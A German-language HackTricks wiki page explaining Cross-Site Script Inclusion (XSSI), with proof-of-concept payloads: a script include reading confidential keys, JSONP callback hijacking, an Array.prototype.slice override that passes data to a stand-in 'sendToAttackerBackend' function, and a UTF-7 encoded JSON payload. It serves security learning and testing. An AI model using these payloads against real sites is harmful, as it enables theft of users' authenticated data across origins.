XSSI (Cross-Site Script Inclusion)

{% hint style="success" %} Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Überprüfe die Abonnementpläne!
Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.
Teile Hacking-Tricks, indem du PRs zu den HackTricks und HackTricks Cloud GitHub-Repos einreichst.

{% endhint %}

Grundinformationen

Cross-Site Script Inclusion (XSSI) ist eine Schwachstelle, die sich aus der Natur des script-Tags in HTML ergibt. Im Gegensatz zu den meisten Ressourcen, die der Same-Origin Policy (SOP) unterliegen, können Skripte von verschiedenen Domains eingebunden werden. Dieses Verhalten soll die Nutzung von Bibliotheken und anderen Ressourcen, die auf verschiedenen Servern gehostet werden, erleichtern, bringt jedoch auch ein potenzielles Sicherheitsrisiko mit sich.

Hauptmerkmale von XSSI:

Umgehung der SOP: Skripte sind von der Same-Origin Policy ausgenommen, was es ihnen ermöglicht, über Domains hinweg eingebunden zu werden.
Datenexposition: Ein Angreifer kann dieses Verhalten ausnutzen, um Daten zu lesen, die über das script-Tag geladen werden.
Auswirkungen auf dynamisches JavaScript/JSONP: XSSI ist besonders relevant für dynamisches JavaScript oder JSON mit Padding (JSONP). Diese Technologien verwenden häufig "ambient-authority"-Informationen (wie Cookies) zur Authentifizierung. Wenn eine Skriptanfrage an einen anderen Host gesendet wird, werden diese Anmeldeinformationen (z. B. Cookies) automatisch in die Anfrage aufgenommen.
Leckage von Authentifizierungstoken: Wenn ein Angreifer den Browser eines Benutzers dazu bringen kann, ein Skript von einem Server anzufordern, den er kontrolliert, könnte er möglicherweise auf sensible Informationen zugreifen, die in diesen Anfragen enthalten sind.

Typen

Statisches JavaScript - Dies stellt die konventionelle Form von XSSI dar.
Statisches JavaScript mit Authentifizierung - Dieser Typ ist besonders, da er eine Authentifizierung zum Zugriff erfordert.
Dynamisches JavaScript - Bezieht sich auf JavaScript, das Inhalte dynamisch generiert.
Nicht-JavaScript - Bezieht sich auf Schwachstellen, die nicht direkt JavaScript betreffen.

Die folgenden Informationen sind eine Zusammenfassung von https://www.scip.ch/en/?labs.20160414. Überprüfe es für weitere Details.

Reguläres XSSI

In diesem Ansatz sind private Informationen in einer global zugänglichen JavaScript-Datei eingebettet. Angreifer können diese Dateien mit Methoden wie Dateilesen, Schlüsselwortsuchen oder regulären Ausdrücken identifizieren. Sobald sie gefunden sind, kann das Skript, das private Informationen enthält, in bösartigen Inhalten eingebunden werden, was unbefugten Zugriff auf sensible Daten ermöglicht. Eine Beispielausnutzungstechnik ist unten dargestellt:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Dynamische-JavaScript-basierte-XSSI und Authentifizierte-JavaScript-XSSI

Diese Arten von XSSI-Angriffen beinhalten, dass vertrauliche Informationen dynamisch zum Skript hinzugefügt werden, als Reaktion auf eine Anfrage des Benutzers. Die Erkennung kann durchgeführt werden, indem Anfragen mit und ohne Cookies gesendet und die Antworten verglichen werden. Wenn die Informationen unterschiedlich sind, kann dies auf das Vorhandensein vertraulicher Informationen hinweisen. Dieser Prozess kann automatisiert werden, indem Tools wie die DetectDynamicJS Burp-Erweiterung verwendet werden.

Wenn vertrauliche Daten in einer globalen Variablen gespeichert sind, können sie mit ähnlichen Methoden wie bei Regular XSSI ausgenutzt werden. Wenn die vertraulichen Daten jedoch in einer JSONP-Antwort enthalten sind, können Angreifer die Callback-Funktion hijacken, um die Informationen abzurufen. Dies kann entweder durch Manipulation globaler Objekte oder durch das Einrichten einer Funktion geschehen, die von der JSONP-Antwort ausgeführt wird, wie unten demonstriert:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>

<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Für Variablen, die sich nicht im globalen Namensraum befinden, kann Prototype Tampering manchmal ausgenutzt werden. Diese Technik nutzt das Design von JavaScript aus, bei dem die Code-Interpretation das Durchlaufen der Prototypenkette umfasst, um die aufgerufene Eigenschaft zu finden. Durch das Überschreiben bestimmter Funktionen, wie Array's slice, können Angreifer auf nicht globale Variablen zugreifen und diese leaken:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

Weitere Details zu Angriffvektoren finden sich in der Arbeit des Sicherheitsforschers Sebastian Lekies, der eine Liste von Vektoren führt.

Non-Script-XSSI

Die Forschung von Takeshi Terada führt eine weitere Form von XSSI ein, bei der Non-Script-Dateien, wie CSV, durch die Einbindung als Quellen in einem script-Tag cross-origin geleakt werden. Historische Fälle von XSSI, wie Jeremiah Grossmans Angriff im Jahr 2006, um ein komplettes Google-Adressbuch zu lesen, und Joe Walkers JSON-Datenleck im Jahr 2007, heben die Schwere dieser Bedrohungen hervor. Darüber hinaus beschreibt Gareth Heyes eine Angriffsvariante, die UTF-7-kodiertes JSON verwendet, um das JSON-Format zu umgehen und Skripte auszuführen, was in bestimmten Browsern effektiv ist:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>